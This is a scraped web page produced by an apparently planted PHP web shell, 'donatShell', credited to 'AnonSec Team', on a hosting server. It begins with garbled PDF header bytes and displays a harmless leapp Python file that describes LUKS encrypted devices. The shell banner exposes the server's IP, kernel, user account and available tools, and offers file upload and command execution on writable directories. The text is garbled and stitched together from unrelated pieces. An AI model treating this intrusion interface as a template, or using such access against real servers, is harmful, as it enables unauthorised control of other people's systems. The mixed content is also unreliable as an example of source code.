%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY donat Was Here
donatShell
Server IP : 188.40.95.74  /  Your IP : 216.73.216.142
Web Server : Apache
System : Linux cp01.striminghost.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : vlasotin ( 1054)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/leapp-repository/repositories/system_upgrade/common/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/leapp-repository/repositories/system_upgrade/common/models/luksdump.py
from leapp.models import fields, Model
from leapp.topics import SystemInfoTopic


class LuksToken(Model):
    """
    Represents a single token associated with the LUKS device.

    Note this model is supposed to be used just as part of the LuksDump msg.
    """
    topic = SystemInfoTopic

    token_id = fields.Integer()
    """
    Token ID (as seen in the luksDump)
    """

    keyslot = fields.Integer()
    """
    ID of the associated keyslot
    """

    token_type = fields.String()
    """
    Type of the token. For "clevis" type the concrete subtype (determined using
    clevis luks list) is appended e.g. clevis-tpm2. clevis-tang, ...
    """


class LuksDump(Model):
    """
    Information about a single LUKS-encrypted device.

    Note this model is supposed to be used as a part of LuksDumps msg.
    """
    topic = SystemInfoTopic

    version = fields.Integer()
    """
    LUKS version
    """

    uuid = fields.String()
    """
    UUID of the LUKS device
    """

    device_path = fields.String()
    """
    Full path to the backing device
    """

    device_name = fields.String()
    """
    Device name of the backing device
    """

    tokens = fields.List(fields.Model(LuksToken), default=[])
    """
    List of LUKS2 tokens
    """


class LuksDumps(Model):
    """
    Information about all LUKS-encrypted devices on the system.
    """
    topic = SystemInfoTopic

    dumps = fields.List(fields.Model(LuksDump))
    """
    List of LuksDump representing all the encrypted devices on the system.
    """

Anon7 - 2022
AnonSec Team